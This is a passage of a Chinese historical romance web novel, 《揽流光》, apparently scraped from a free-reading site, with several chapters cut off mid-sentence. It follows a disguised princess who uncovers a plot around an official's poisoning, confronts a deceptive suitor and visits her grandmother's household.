崔荔气得面色涨红,她和崔原站在崔夫人身前像是一道坚固的屏障,正欲开口却听到崔广又是一声咳嗽,吐出一口黑血。 崔夫人面色大变,疾步上前拿帕子擦着血迹,明明手抖得要命,却强自镇定:“李郎中呢?为何还没到!” 薛容玦看了身后茵陈一眼询问她的意见,她犹豫着点了点头。 薛容玦上前在外间扬声道:“此时本不该我开口,不过事态危急,便也顾不得许多了,还望夫人恕罪。” “我这位婢女颇有些医术,”薛容玦拉着茵陈站在自己身边,“夫人若是信得过我,便先让她瞧瞧。” 崔夫人闻声起身走到外间,看着茵陈微微怔愣,忽而道:“不知姑娘如何称呼,多大了?” 茵陈觉得有些奇怪却还是如实答道:“奴婢茵陈,今年二十了。” 崔夫人点了点头,带着她进去:“你来瞧瞧吧。” 茵陈环视了屋子里的人:“还望夫人让闲杂人等回避。” “你带着人都退下去,去查今日老爷都吃了什么、喝了什么,到底是怎么回事,给我问清楚再回来。” “若是查不出来,你知道后果的。”崔夫人看着婉娘冷淡道。 婉娘不禁打了个寒颤,她在崔府多年最是知晓这位夫人,颤巍巍地叩了个头:“是……是……多谢夫人。” 她拉着面色仍有不忿的崔季和几个孩童先离去了。 薛容玦和牧平也同样起身在外间等候,只听得茵陈沉静的声音:“崔大人应是中了毒。” “啊!”崔荔惊叫出声,泪水扑簌簌地落。 “不过……” 崔夫人问道:“如何?” 茵陈犹豫道:“崔大人体内有两种毒,具体是什么奴婢还不能确定,但不幸中的万幸是两种毒药相互化解了一部分,所以崔大人并未及时毒发,还有得救。” 外间婢女急匆匆地带着一位中年人走进来:“夫人,李郎中来了。” 李郎中中等身量,面容看起来与薛容玦曾有一面之缘的太医令丞有些相似。 茵陈自觉退到一边,李郎中把脉沉吟半晌和茵陈的诊断基本一致,崔夫人不禁多看了她两眼。 崔荔红着眼睛急忙问道:“父亲可还有救?” 李郎中犹豫着:“在下会尽力,但无法给夫人保证。” 茵陈却突然开口:“或有一救。” 几人闻言目光都集中在她身上,她不卑不亢:“在下家传针灸术,或可一试,在下有五成把握,不知夫人可愿让我一试?” 崔夫人犹豫着看向崔原,崔原也蹙着眉看着茵陈:“还望姑娘莫介意,只是李郎中照料家中多年,许是更了解家父的情况。” 茵陈倒没什么波澜地点了点头:“那是自然。” * 后来崔原出面一一得体地送走了所有宾客,虽然盛大的寿宴落得一个惨淡收场,崔原还是尽量让它不要太过难堪,一切结束时天色早已暗了下来。 他将薛容玦和牧平也送上马车时眉宇间才露出了担忧和疲惫,对二人道:“今日实在是未曾想到,招待不周还望海涵。” 牧平也拍了拍他的肩膀:“若有需要我们的地方尽管开口。” 崔原点了点头,又看着薛容玦道:“今日的话还未说完,改日再与容姑娘细说。” 薛容玦点了点头:“崔公子宽心,崔大人吉人自有天相。” 马车摇摇晃晃地在街上行过,薛容玦靠在马车上不知在想什么,牧平也在一旁欲言又止。 “你想问什么?” 牧平也皱着眉问道:“崔原要和你说什么?” “不知道,”薛容玦掀起眼皮瞧着他,打量了他一番,“你有什么话要和我说吗?” 牧平也觉得有些奇怪,却仍是摇了摇头。 薛容玦刚走到屋外突然停下脚步,回头看了一眼书房对茵陈道:“姐姐帮我一些常用的东西收拾一下可好?” 茵陈虽有不解仍点了点头:“姑娘放心。” 薛容玦转身进了书房,点燃烛火道:“可查到了什么?” 从角落中走出一人,竟是白日里将糕点洒在薛容玦衣裙上的婢女。 她身着黑色夜行服,一头乌发高扎,站在角落与黑暗融为一体,她拱手道:“回郡主,今日郡主在花园遇到的女子是崔广三年前所纳妾室,对外称是郡尉的远方侄女,实则是出身于红苑坊。” 薛容玦似乎并不意外,沉吟半晌后问道:“她的名姓可是真的?” 她继续道:“她在红苑坊内被称作红玉,也叫玉娘。” “果然如此,”薛容玦冷笑一声,又道,“今日辛苦宋统领,继续盯着崔家,若是有何异动去郡主府寻我。” 宋统领有些疑惑:“郡主不在这里住了吗?” “再住下去就怕被人骗得团团转了,”她面容冷峻,又像想到了什么似的,“我之前让你查证的可查到了?” 宋统领点了点头:“郡主聪慧,与郡主之猜测基本一致。” “你从你身边给我调一个身家清白功夫好的手下来,过两日送到郡主府来。” “是。” 薛容玦摆了摆手:“先下去吧。” 萤萤烛火映照在她的脸上,她此刻若有一面镜子便能看到自己的面容十分冷峻,眼神如寒冰般冷硬。 半晌后她扬声道:“凌叔!” 凌云推门而来:“郡主有何事?” 薛容玦起身边向外走边吩咐道:“准备马车回郡主府,让飞廉等茵陈收拾完一同前来。” 凌云道是便吩咐侍卫前去准备,只是还没走到门外,便被飞奔而来的小厮撞了个趔趄,幸好凌云在她身后扶了一把。 小厮趴在地上,断断续续地道:“姑娘……姑娘恕罪,崔家来人说崔大人不好了,求茵陈姑娘前去一趟。” 薛容玦让人将茵陈带来,让其他人退后,悄声问道:“你可愿去?不愿去也无妨,我替你回了便是。” 茵陈点了点头:“为人医者,哪里有不愿之说呢,只是……” “如何?” 她犹豫道:“崔大人已然耽搁了一段时间,只有三四成的把握。” 薛容玦拉着她的手安慰道:“不必担心,只管放手去治,有我呢,明日我便去崔府,你放心。” 茵陈笑了笑便跟着崔家的人先离去了。 薛容玦走了两步忽而停下,转身换了个方向。 凌云疑惑道 27. 溪云初起(五) 《揽流光》全本免费阅读 薛容玦近日睡眠极差,一点响动就能让她从梦中惊醒。 她猛然睁眼,坐起身盯着前方轻轻飘荡着的帘帏:“什么人?” 一位女子身着夜行衣,蒙着面悄声道:“郡主莫怕,是大长公主让在下前来的。” “外祖母?” 她上前半跪在床前,递上了一枚玉玦,上面雕刻着一只灵巧的小鹿:“这是大长公主让在下亲自送予郡主。” 薛容玦坐在榻上,手已经摸到了枕下的匕首,对着来人问道:“你是何人?这又是何物?” 她从怀中拿出一封信件给薛容玦,起身点燃了烛火,将蒙面取下:“外间的婢女已经熟睡过去了,郡主不必担心。在下乃大长公主手中的夫诸军副统领宋年,大长公主不放心郡主在此,便让在下带着一队人马来保护郡主。” 薛容玦借着烛火打开了信,信件果然有大长公主私印。 信中内容诚如宋年所言,她才松开了匕首拿着玉玦问道:“可是这玉玦有何用?” 宋年道:“此乃夫诸军军符,大长公主说早晚要给您的,郡主在此行事还是小心为上,便让在下交予您。 “郡主不必担心,在下会在暗处保护您,若有事只管亮出玉玦即可,夫诸军便在郡主周围。 “明日崔家寿宴鱼龙混杂,在下也会混入崔府,郡主有事只管吩咐。” 薛容玦点了点头,把玩着玉玦问道:“外祖母还说什么了?” “大长公主说,让您留意身边人。” * 月红急匆匆站在门口焦急地等着,看到马车行来快步走下台阶,上前扶着薛容玦下车:“郡主怎的突然回来了,早知道奴婢应前去接郡主的。” 薛容玦笑了笑:“突然决定的,不怪你。” 她忽然瞥到飞廉面色古怪,招手将他近前:“之前为行事方便未曾表明身份,不是故意欺瞒你们姐弟,自然,我亦不会逼迫你们姐弟二人,若是不愿跟随我回京都,我也会为你们安排好去处。” 飞廉却喃喃道:“怪不得……” 薛容玦没有听清他的话语:“什么?” 飞廉抱拳道:“郡主多虑了,郡主救我二人于水火,飞廉必定要追随郡主的。” 薛容玦拍了拍他的肩:“听凌叔说,你近日进步很大,回京都后若是愿意,可以去军营历练历练。” 飞廉抬眼看着他,眼中都是少年人亮晶晶的希冀:“真的吗郡主?” 薛容玦被他逗得笑出声:“那是自然。” 飞廉笑着说了句多谢郡主,便去找凌侍卫加练了。 月红将郡主府上下打点得很好,薛容玦沐浴完坐在梳妆镜前,月红在她身后为她绞头发,问道:“郡主,竹绿为什么没有回来?” “她不会回来了。” 月红本欲再问却看到了薛容玦凛冽的眼神,便没有再追问。 屋内安静如水,突然一位小婢女前来禀报:“郡主,有位姑娘自称姓钟在府门外求见。” 月红疑惑道:“钟姑娘?这么晚来做什么?” 月红闻言从镜中看到薛容玦闭着眼睛丝毫没有回话的意思,便对小婢女道:“今日已晚,若要见郡主明日再说吧。” 薛容玦却突然睁开眼道:“算了,让她去偏厅等着吧,有些话我也要问问。” 小婢女应是退下了。 薛容玦睁开眼睛,看到月红欲言又止的样子反而笑道:“没事,马上结束了,你近日先收拾东西吧,咱们过些日子去看看外祖便回京都,应赶得及在新年前回去。 “简单收拾一下吧,我有些累了。” * 钟瑶期坐在偏厅里倒是神情平静,她自在地打量着偏厅里的装饰,一边尝了一口小婢女为她斟的玫瑰露,十分自如。 许是因薛容玦落水后极为畏寒,整个偏厅暖如春日。薛容玦一身简单的衣衫,乌发用一支发簪半挽着,慵懒至极。 她坐在上首用手支着头:“钟姑娘前来所为何事?” 钟瑶期歪着脑袋看着她:“牧平也刚才来同我大吵一架,我想着便是你已经知晓了。 “本不想来的,但是还是很好奇,除了我故意泄露与你的,还有何处漏出了马脚?” 薛容玦清清浅浅笑了笑:“其实在第一次听到姑娘的故事时我就有所怀疑了。” 钟瑶期感兴趣地挑了挑眉:“是吗?那郡主怎么还让我留下呢?” 薛容玦淡淡笑了笑:“他劝的。 “其实初初见到姑娘时我就觉得十分奇怪,那日我在河边偶遇姑娘,姑娘怎知一定会碰到我呢?后来我仔细想了想竹绿和他都在劝我去河边转一转。 “不过这也没什么奇怪的,当日心情不佳出门散心也是寻常。后来茵陈为姑娘诊脉后说姑娘在水中泡了太久体力耗尽,我当时心下便觉得有些奇怪。若是姑娘一路顺流而下不至于过于耗费体力,若是逆流而上,月红一行人当日路过河边到我去河边至多相隔一刻钟,但她根本没有看到河边有人。 “想来想去,姑娘都只能是在等我。” 钟瑶期原本斜靠在椅子上,右手轻抚着左手手腕的手链,听完她的话身子感兴趣地向前探了探:“郡主果真聪慧,我那日在水里泡了几个时辰就是为了等郡主啊,不把戏做得真些怕郡主看穿。” 她说完还朝薛容玦抛了个媚眼,薛容玦没理她继续说道:“后来你故意让我去无名寺偶遇崔原,我虽不知你究竟知晓些什么又在谋划些什么,崔原确实那日之后找人调查我,你算得很准。 “但和崔原越接触越知晓你当日所言都是假话,崔原原本有婚约,但那女子因病离去便再未定婚约,至今仍是孑然一身。 “我原想着你许是有自己的目的,直到我今日在崔家花园遇到了红玉,她手腕上有一个十分别致的手链,和钟姑娘手腕上的一样。 “而且她身上的梅花香让我觉得十分熟悉,牧公子身上也是同样的清冽的梅花香。” 她看向钟瑶期道:“这应该是姑娘故意露给我的吧?” 钟瑶期笑着点了点头,在烛光的映衬下她的面容更显妩媚:“那竹绿呢?郡主何时发现的?” 薛容玦看着一朵花瓶中枯萎的花朵道:“我本不确定竹绿是故意引我去河边,钟姑娘与他若要谋划必要离开住处,我曾说过,你有何异动要竹绿随时告知于我。 “我也曾问过她,她说未曾有任何异动。 “后来我找人仔细调查了竹绿的背景,果然也是明郡人,你们三人之间有何纠葛我不愿知晓,但薛家是不会再留她了。 “望姑娘替我给竹绿带个话,她卖身契我早已烧 28. 溪云初起(六) 《揽流光》全本免费阅读 窗外淅淅沥沥,又是一个雨天,已经接近初冬,江南的雨冰凉入骨。 月红拿着帖子在崔府门口,管家却始终不收她的名帖,只道:“郡主的好意夫人与大少爷都心领了,只是郡主身娇体贵以免过了病气,郡主还是请回吧。” 月红无奈地回到马车中,愁眉苦脸地看着薛容玦:“郡主,这可怎么办?” 薛容玦笑了笑:“没事,我们一起去。” 管家看到月红去而复返,正准备开口就看到她身后的薛容玦,他快步上前道:“容姑娘今日怎么来了,您来的正巧,快去劝劝大少爷吧。” 薛容玦还未开口询问,月红先上前挡开了管家要上来拉扯的手:“干什么?在郡主面前也这般没规矩,这便是你们崔府的下人吗?” 管家疑惑的眼神在月红和薛容玦之间打着转,显然十分奇怪。 还是薛容玦打破了这奇怪的氛围:“说来话长,不如我先去瞧瞧崔大人,不知昨日我的婢女可有帮上什么忙?” 管家转身向小厮悄声交代了几句,小厮飞奔而去,管家引着薛容玦进府。 管家恭敬道:“多亏了茵陈姑娘施了一夜的针,老爷这条命总算是保住了,只是还未曾醒来。” 薛容玦点点头,本想再问问查的如何,可看着管家紧皱的眉头便未曾开口。 崔原快步而来,面色暗淡眼下青黑,显然一夜未睡,胡须也争先恐后跑了出来。 他在薛容玦面前站定,疲惫地摆了摆手让管家等人先下去,月红犹豫地看着薛容玦,她笑着对月红道:“无妨,你在前面回廊处等我。” 崔原比薛容玦高了一个头,他微微低头只见她的睫毛如鸦翅般颤动,他听到她的声音如清泉般清冽,他整晚都渴望着听到这个声音,可到了这一刻他却有些害怕。 “崔公子,我……” 他急忙上前一步抓住她的衣袖打断了她的话,他的话语中有几分不自知的慌乱:“昭昭,昨日午后,我的话并未说完,我想告诉你……” 薛容玦抬头望向他的双眸,除了慌乱她还在其中看到了一丝乞求和期待,她却恍若未见,打断了他接下来的话:“崔公子,先前隐瞒身份实在是抱歉,出门在外并非刻意所为,还望见谅。” 她看着那双眼眸一点点变得黯淡,只见他深吸一口气,松开了手,后退一步作了个揖:“因昨日家中变故,刚才冒犯郡主,还望郡主勿要见怪。 “我与舍妹于田间巡游时也会隐瞒身份,实在无可厚非,郡主不必多虑。” 薛容玦微不可觉地叹了口气,又问道:“崔大人如何了?茵陈可有帮上忙?” 崔原在她身边保持着不远不近的距离,恭敬地答道:“家父算是保住了一条命,只是还未曾醒来,与母亲还有李郎中商议过后,决定再过些日子回京都瞧瞧,也许还有救。” 薛容玦点了点头:“崔大人吉人自有天相,本是来与崔公子告别的,看来很快我们会在京都再见的。” 崔原愣了一下:“你要走了?” 薛容玦笑道:“是啊,本就是来江南瞧瞧涨涨见识的,确实学到不少东西,有些想家了,便准备回去了。” 崔原没有错过她脸上一瞬而过的落寞,他犹豫道:“你和顾兄……你们俩吵架了?” 薛容玦摇了摇头,算什么吵架呢,不过是“觉来知是梦,不胜悲。” 薛容玦同崔夫人、崔荔简单寒暄后便前往了偏厅,她能感觉到二人态度的变化,倒是崔原除了初见时的怔愣,相处反而一如平常。 茵陈看起来很是疲惫,看到薛容玦仍是十分惊喜:“姑娘来了。” 月红开口纠正:“是郡主。” 茵陈皱眉看着月红,崔原戏谑道:“看来郡主隐藏身份不止骗过了在下一人呐。” 薛容玦拉过茵陈的手笑道:“出门在外,无奈之举。 “我近日便要启程回京都,你可愿随我一同前去?” “自然是想的,”茵陈快速说道,但她又犹豫道,“只是,崔大人现下身边暂时离不了奴婢。” 崔原道:“茵陈姑娘愿意便好,李郎中也说最好回京都瞧瞧,倒是姑娘随我们同路可好?” 茵陈点点头:“这样最好了。” 崔原看着二人相谈甚欢便道:“那在下便不打扰郡主了,有何事郡主随时吩咐便好。” 薛容玦看着他的背影,萧索又落寞,忍不住道:“崔公子看起来甚是疲惫,不若先去休息片刻,我很快就离去了,崔公子不必担心。” 他回首看向她关切的眼眸,露出一个笑容:“那,京都见。” 她点点头,笑道:“京都见。” 直到崔原离去,薛容玦才问茵陈:“崔大人如何中的毒可查出来了?” 茵陈点了点头:“听闻是崔大人的一位爱妾,在他常饮的茶中下了毒。” 薛容玦还抱有天真的幻想:“什么茶?” “以冬日梅花上的雪融后的雪水煮的茶水,听闻被唤作万里春。” “那……那名妾室人呢?” 薛容玦最后一丝幻想也被茵陈击碎:“崔夫人昨晚就让人在大厅杖毙,全府上下从侧室到奴仆全被崔夫人叫来观刑。” 薛容玦没有说话,她想到崔夫人那菩萨低眉的模样,无论如何也无法想象她看向红玉时冰冷的模样。 一个看起来慈眉善目虔诚礼佛的人,又为何会如此冷血无情毫不犹豫下达杖毙的命令呢? * 薛容玦坐在房中慢悠悠地收拾着东西,有许多她买给姜琼芳和胡清露的小玩意,希望她们会喜欢。 外面忽然传来十分嘈杂的声音,还不等她叫月红,月红就慌慌张张地跑了进来。 “郡主……外……外面打起来了……” 薛容玦皱了皱眉,谁敢在这守卫森严的郡主府闹事? 薛容玦随月红走到外间院落,厚重的云层遮住了月光,她只能依稀借灯笼看清几人的身影。 凌侍卫快步走到她身边,还不待薛容玦发问便犹豫道:“是……是牧公子……” 薛容玦叹了口气道:“让他们都下去吧。” 月红也犹豫着退了出去。 一时间,偌大的院落只剩下他们二人。 牧平也许是喝了些酒,他步伐不稳地向她走来,却停在几步外。 薛容玦面色平淡:“牧公子好身手,今日才算是真正见识了。” 牧平也在昏黄的灯影下看不清她的面容,向前走了两步道:“我有我的苦衷,但我不是为了利用你才接近你的。” 薛容玦看着他笑了笑:“我知晓,是我接近你的。 她站在台阶之上俯视着他,眼神冰凉:“在云林苑时的刺杀是你安排的吗?” “不是!”牧平也急忙反驳,“我即便是想要郡主的帮助,也不屑于用这样的手段。” 薛容玦轻笑一声 29. 溪云初起(七) 《揽流光》全本免费阅读 天边的云彩被落日的余晖涤荡成一片暖意的橙,他坐在门前看见父亲逆着夕阳朝家走来,他欢快地跑到父亲面前,昂着脑袋道:“阿爹,今日的《论语》我已经读完了!” 他的眼眸明亮,抬起头看着父亲,希冀能得到父亲的夸赞。 顾江临笑着摸了摸儿子的头:“是吗?思悠真聪明。” 他的小手急忙拉住父亲的大手,不停地晃呀晃:“阿爹,今日的内容我都记下了,阿爹快问问我。” 顾江临已经看见妻子牧灵牵着小儿子在堂前向他们父子二人招手了,笑意更浓:“是吗?那‘何为则民服?’” 他摇头晃脑,很流畅地回答了出来:“子曰:举直错诸枉,则民服;举枉错诸直,则民不服。①” “如何举直错诸枉?” “呃……”他挠了挠头,神色落寞,“我……我不知道。” 牧灵看到儿子垂头丧气的样子便知道发生了什么,笑着对丈夫嗔道:“思悠才几岁,你何必难为他?” 顾江临则蹲下身,与他视线齐平,正色道:“思悠啊,读书仅仅是把书本上的内容记下来可不够,要知道‘学而不思则罔’②啊。” 他点了点头,又主动问道:“那阿爹说,要如何举直错诸枉?” 顾江临起身拍了拍他的脑袋,拉起妻子的手对他道:“思悠先自己想想,阿爹再告诉你。” 那是牧平也记忆里一家人一起吃的最后一顿饭,那天的夕阳格外温柔,让他至今走没能走出那片夕阳。 傍晚顾江临的副将急匆匆地上门,二人在书房不知说了什么,他让人把牧平也带来。 他后来才知道这是他与父亲的最后一面,父亲也深知这一点,可他仍旧清浅地笑着,只是眼中隐隐有些不舍,那是后来的牧平也回忆此刻时才看到。 很多时候,牧平也都觉得父亲一点也不像他在书中看到将军模样。 父亲儒雅谦和,待人彬彬有礼,笑起来更像一个读书人。 顾江临看着眼前的儿子,压下内心苦涩,笑着对他说:“思悠可想出了如何举直错诸枉?” 牧平也摇了摇头,面带愧色:“还没有想出来。” 顾江临倒是安慰道:“思悠已经很聪明了,阿爹问你,我朝如何选拔官员?” “察举制。” “若思悠现在可以举荐,思悠会举荐谁呢?” 牧平也想了想道:“我会举荐明川。” 明川是他的弟弟,如今不过三岁有余。 顾江临笑出了声:“为何呢?” “因为明川是我弟弟呀,我们总在一处的。” “明川识字吗?” 牧平也想了想道:“可是不识字就不能被举荐了吗?” 顾江临换了种问法:“若是有个文书要写,明川怎么办呢?” “那……我不能替明川写吗?” “思悠啊,”顾江临叹了口气,“臣子是辅助君主统治天下的,可你并没有为民着想,只想着和明川在一处,若人人都像你这么想,我们还能选拔出好的官员吗?” 幼年的牧平也第一次意识到这制度的不合理,着急地问道:“那该怎么办呢?” 顾江临走到他身前,蹲下身,眼中隐有泪光:“好孩子,你是个聪明孩子,你要记得,既然它不合理、有问题,那就去改变它。 “不论你将来听到了什么、知道了什么,一定要记得阿爹今日告诉你的话。 “不要报仇,要好好地活下去。向前走,去改变。” * 牧平也猛地睁开眼,坐起身大口喘着气。 他已经很久没有梦到过父母了,还有明川,明川若是还活着今年也十七了。 许是因为今日七夕,每年七夕父母都会带着他和明川去瞧花灯,他们二人还会放河灯。 幼时不懂,为什么父母能放河灯,他却不行。 牧灵笑着告诉他,将来等他遇到心爱的女子之时,便能在七夕放河灯了。 顾江临牵着妻子的手,眼中是毫不掩饰的爱意。 那时的他不懂,可今晚她的面庞在烟花下明灭交错令他心跳漏拍,她看向烟火时的目光全是单纯的快乐。 她和父亲是一样的人,单纯又执着,他觉得。 他们的目光都越过了历史的河流,站在峰巅之上看到了眼下的附骨之疽。 尽管此刻它仍深藏于泥土之下,可是这样腐烂的泥土又怎会长出绚烂的花朵? 她那样纯净美好,他渴望又不敢触摸,生怕自己玷污了这样的精灵。 他提笔想写些什么,却又不知写些什么,待他反应过来时一首《诉衷情》已经跃然纸上。 原来自己早在初见便已倾心了啊,他想。 * 薛容玦真看着纸条发呆,听到有人敲门,急忙收起纸条扬声道:“进来。” 原来是刚才的那名女子。 她看起来不过二八年华,单膝跪地,双手抱拳:“宋统领命属下贴身保护郡主,不知郡主有何命令?” 薛容玦抬抬手让她坐在一旁,问道:“你叫什么?” 没想到她反而看着薛容玦道:“郡主还记得五年前的京都外的破庙吗?” 说来也奇怪,近日薛容玦断断续续脑中出现了不少原身的记忆,经她这么一提她还真的有点儿印象。 那日薛琮带着她去京都外玩,回途时偶遇大雪,不得已在京都外的一间破庙暂避,待雪势渐小再继续上路。 谁知,庙中有个女孩看起来和她差不多大,却衣衫单薄蹲在破庙一角,看到他们一行人很是警惕,一双眼像小狼一样盯着他们。 她那时尚且年幼,双颊圆润,穿着一身红十分可爱,她急忙脱掉自己的大氅盖在了她身上,又让薛琮拿来他们带的吃食递给小女孩。 这小女孩也能从她行为中感受到她的善意,接过她手中的吃食狼吞虎咽地吃了起来。 她看着小女孩的双手都是冻疮,不忍道:“你要不要跟我回家呀?” 小女孩从她的衣着也能看出他们一行人非富即贵,却坚定地摇了摇头:“我要去沉潭郡。” 她歪着脑袋疑惑道:“沉潭郡?你有亲人在哪里吗?” “不是,”小女孩坚定地摇了摇头,“我要去参军。” 她这才恍然大悟,转身冲着薛琮说道:“阿兄,这位姑娘要去外祖母那里加入夫诸军呢。” 薛琮也走进蹲在小女孩身前:“你为何独身一人?我派人送你去吧。” 小女孩坚定地摇了摇头:“我自己去,我阿娘被打死了,她用自己的命换我逃了出来。我要去参军,等我有了一身力气,我才能好好给阿娘立个碑。” 薛琮不解:“那为何我不让我派人送你呢?” 小女孩却道:“我要靠自己,一步一步走到沉潭郡,找到夫诸军,通过考核加入它。 “我若是连这点毅力和能力都没有,还不如被打死算了。” 薛琮听到这话竟一时间对她起了敬意。 薛容玦听了他们的话,想了想道:“即是如此,我送姑娘个武器可好?” 她说着从怀中拿出了一把十分漂亮的匕首,递给小女孩:“这是我阿爹给我打的匕首,送给你。” 薛琮大惊,想要阻拦:“这是阿爹给你的,若是武器我这里多的是。” 薛容玦却笑着摆了摆手:“我又不会使,在我这里也只 30. 溪云初起(八) 《揽流光》全本免费阅读 月红把一个刚灌好的汤婆子塞进薛容玦手中,看她还掀着帘子看着马车外苦口婆心地劝道:“郡主不冷吗?这外面雪这么大,郡主身子还没养好,可别过了凉气。” 薛容玦回头对她笑了笑,俏皮地晃了晃手中的汤婆子:“我有月红姐姐呢,不怕。” 说完,她转头仍旧看着马车外纷飞的大雪。 自进入沉潭郡以来,就开始下雪,越往北走这雪越大。 纷纷扬扬的,像薛容玦见到的最后一场雪。 沉潭郡最近的县在京都以东五百里,而大长公主府坐落在沉潭郡最繁华的昭德郡。 盛朝公主的封地多以公主封号为名,昭德郡原名为怀宁县,后来因为大长公主盛锦茗带兵上战场,先皇赐封昭德公主,怀宁县这才改名为昭德公主。 听闻这个封号是盛锦茗自己向先皇求来的,她一直以前朝昭德公主为榜样,最终成为了盛朝至今乃至盛朝灭亡唯一有军功的公主。 月红看薛容玦双颊被风吹得通红,伸手拉上了放下了帘幕道:“郡主小心着凉了,这几日郡主都没休息好,我们就快到了,不如先休息会吧。不然气色不好,大长公主和周老大人见到会担心的。” 薛容玦近日虽想起了一些往事,但都十分模糊,对于与大长公主盛锦茗和周昌源的印象并不十分清晰。 倒是她自己对盛锦茗有些印象,因为她昭德公主的封号。 薛容玦一直对前朝传奇的昭德公主十分感兴趣,与坊间流传的她与驸马和离又二嫁的风流韵事不同,薛容玦敬佩的是,她以女子之身在战场上保家卫国,盛锦茗亦是如此。 在国破家亡之际,她也曾想过,若是她能像两位昭德公主一般驰骋沙场,会不会有不一样的结局呢? 大抵是不会的。 * 薛容玦一行人到公主府时刚过午后,月红和如筠扶着薛容玦下了马车,就见一位妇人赶忙迎了上来,身后还跟着一个人,她并没有注意到。 “真是多年不见阿玦了,都长成大姑娘了。” 薛容玦对她还有一些印象,便福身道:“竟让舅母来迎阿玦,真是受不起。” 她便是薛容玦的舅母陈昔,她拉着她的手朝屋里走:“一家人,说什么见外的话,原本说让周俞安去接你,你非不让。” 薛容玦也笑着道:“这雪路不好走,表哥来接怕是得吹一阵子冷风。” “这有什么的,习武之人不怕这个。” 一道清凉的男声传来薛容玦这才注意到陈昔身后的少年,印象中和她一样高的少年已经高出她许多了,她笑着道:“表哥,好久不见。” 周俞安颇为爽朗地笑道:“听闻表妹落水后性子娴静了不少,我还不信,今日一见果然是真的。” 陈昔闻言拍了拍他:“不会说话就闭嘴。” 周俞安倒不在意,仍旧笑嘻嘻地说道:“我现在还记得,那年去京都,听闻姑母生了个颇为漂亮的表妹,只是多年未曾得见,原本兴致勃勃只是我还没见到人就被树上的小丫头吓了一跳。” 薛容玦隐约还记得这段往事,笑道:“幼时淘气,难为表哥还记得。” 周俞安对她落水一事也有所耳闻,只觉得她在京都一定是受了欺负,人都不如以前活泼了,只觉得薛琮是个废物,连自己妹妹都保护不好。 他什么也没说轻轻叹了口气,摸了摸她的脑袋。 三人一行到了大厅,婢女已经去向大长公主和周老太爷禀报,只见一位小少年风一般地跑过来,浑身还带着风雪的冷意。 陈昔拉过他拍了拍他身上的风雪,他却只盯着薛容玦瞧:“表姐,还记得阿宁吗?” 薛容玦笑着道:“当然记得阿宁,阿宁这么可爱。表姐还记得,阿宁最喜欢京都的冰糖葫芦了是不是?” 周俞宁闻言冲到她身边,拉着薛容玦道:“那表姐有没有给我带京都的冰糖葫芦?” “表姐不是从京都来的,”薛容玦冲他抱歉地笑了笑,招手让月红拿来了明郡玉露阁最有名的糕点递给他,“但有明郡的糕点,阿宁看看喜不喜欢。” 周俞宁看到糕点两眼放光,抓起来就吃:“真好吃。” 忽然一阵急促的脚步声传来,只见陈昔和周俞安都起身,薛容玦就知道这是大长公主和周昌源来了。 许是二人常年习武的原因,大长公主和周老太爷两人精神矍铄,看起来身体都很好。 薛容玦这才看出,其实母亲和大长公主长得很像,不过大长公主更加英气一些,母亲更加柔婉。 薛容玦还没来得及见礼就被大长公主一把拉到身边坐着,问着她一路可顺利。 “一路都好,外祖母派宋统领送的东西阿玦也收到了,多谢外祖母。” 她说着就要起身见礼,被大长公主拉住了:“本就是要给你的,有你父亲在你母亲不需要这个,我们阿玦还没许人家,就当外祖母提前给你添妆。” 周老太爷摆了摆手:“孩子还小,说这个干什么。” 薛容玦总觉得二人这话其中有些自己不知道的事情,却也知道当下不是合适的时机询问。 周老太爷又冲着薛容玦和蔼地问道:“在明郡办事可顺利,听说崔家出了点事?” “还算顺利,”薛容玦看向周老太爷,发现他双眸清亮,显然早已得到消息,“崔广被人下毒,至今还未醒来,不过保住了一条命。” 周老太爷皱了皱眉道:“可知是何人做的?” 薛容玦犹豫了一晌摇了摇头:“还不知是何人,只知似乎与当年的军饷贪污案有关。” 周老太爷闻言愣了愣神,喃喃道:“竟是如此……” 大长公主冲他翻了个白眼:“这是你外孙女,不是你属下,问的都是些什么玩意儿?” 薛容玦觉得有些尴尬,但见舅母、周俞安等人都神色如常的样子便知二人日常便是如此相处的, 陈昔看出了薛容玦的无措,笑着打圆场:“母亲,阿玦这一路也累了,不如先用膳吧。” 大长公主一拍脑门道:“瞧我,高兴得都忘了,走走走,用膳去。” 这位大长公主倒和她想象中不 31. 溪云初起(九) 《揽流光》全本免费阅读 第二日,大雪仍不见消,反而仍旧纷纷扬扬地飘荡着,整座院落银装素裹,一片白茫茫让薛容玦看着心里有些不舒服。 她始终在回避着凛冽的寒冬、纷飞的雪花和热烈的火焰。 月红给她拿了一件鹅黄色的衣衫,她看着镜中的自己犹豫了半晌道:“还是把那套红色的衣衫拿来吧,这套太素了。” 月红倒是笑着说道:“郡主皮肤白,是该多穿些这艳丽的颜色呢,多好看。” 薛容玦看着镜中的自己,这才觉得自己有了些生气,脸上也红润多了。 主仆二人正在挑今日该簪哪个发簪,如筠挑帘而入,笑着道:“郡主快去前院瞧瞧,有人来了。” 月红最终替她挑了一个梅花宝石簪,薛容玦簪完发簪转头看着如筠好奇道:“谁来了?” 如筠上前扶起她:“郡主去瞧瞧不就知道了?” 月红为她披上大氅,主仆三人快步走向前院。 薛容玦刚迈步进入前院,便被纷飞的雪花遮了视线。 这并非空中翩然而落的雪花,而是两个正在交手的身影,撞到了院中的大树,引得积雪扑簌簌而落,如雪雾般遮挡在了眼前。 待雪雾散去,薛容玦定睛一瞧,这可不是自家兄长薛琮和表兄周俞安。 大长公主和陈昔等人也先后而至。 薛容玦不懂功夫,却只觉二人的身影如蛟龙般灵巧,他们二人之间有来有回,雪花在他们的周围翩翩起舞,犹如一场精彩的表演。 周老太爷笑着开口:“这两个人,一见面就打。” 大长公主倒是认真地抱臂看着二人的交手,半晌用手肘戳了戳周老太爷:“我怎么瞧着阿琮退步了啊?” 周老太爷摇了摇头:“阿琮的功夫远不如他的箭术,况且有阿安在一旁,显得阿琮的功夫差也不稀奇。” 陈昔看着两位老人家兴致勃勃地看着孙儿比试,又看到薛容玦冻得通红的脸颊,附身对周俞宁耳边说了些什么。 周俞宁向前走了两步,中气十足地喊道:“表哥,我要的糖葫芦给我带了吗?” 薛琮和周俞安这才注意到一旁的几人,二人停下了手,喘着粗气看着谁都不服谁,却又忽然间一起笑出了声。 周老太爷先迈步道:“屋里说,阿玦身子受不住这寒风。” 薛琮和大长公主、周老太爷和陈昔见礼后,又笑着摸了摸周俞宁的脑袋才坐到薛容玦的身边。 薛容玦给兄长递了个帕子,虽是冬日,可这一番折腾额上也出了不少汗。 “阿兄怎么来了?” 薛琮还没开口,对面的周俞安就对薛容玦开玩笑道:“表妹真是偏心,我怎么没有帕子?” 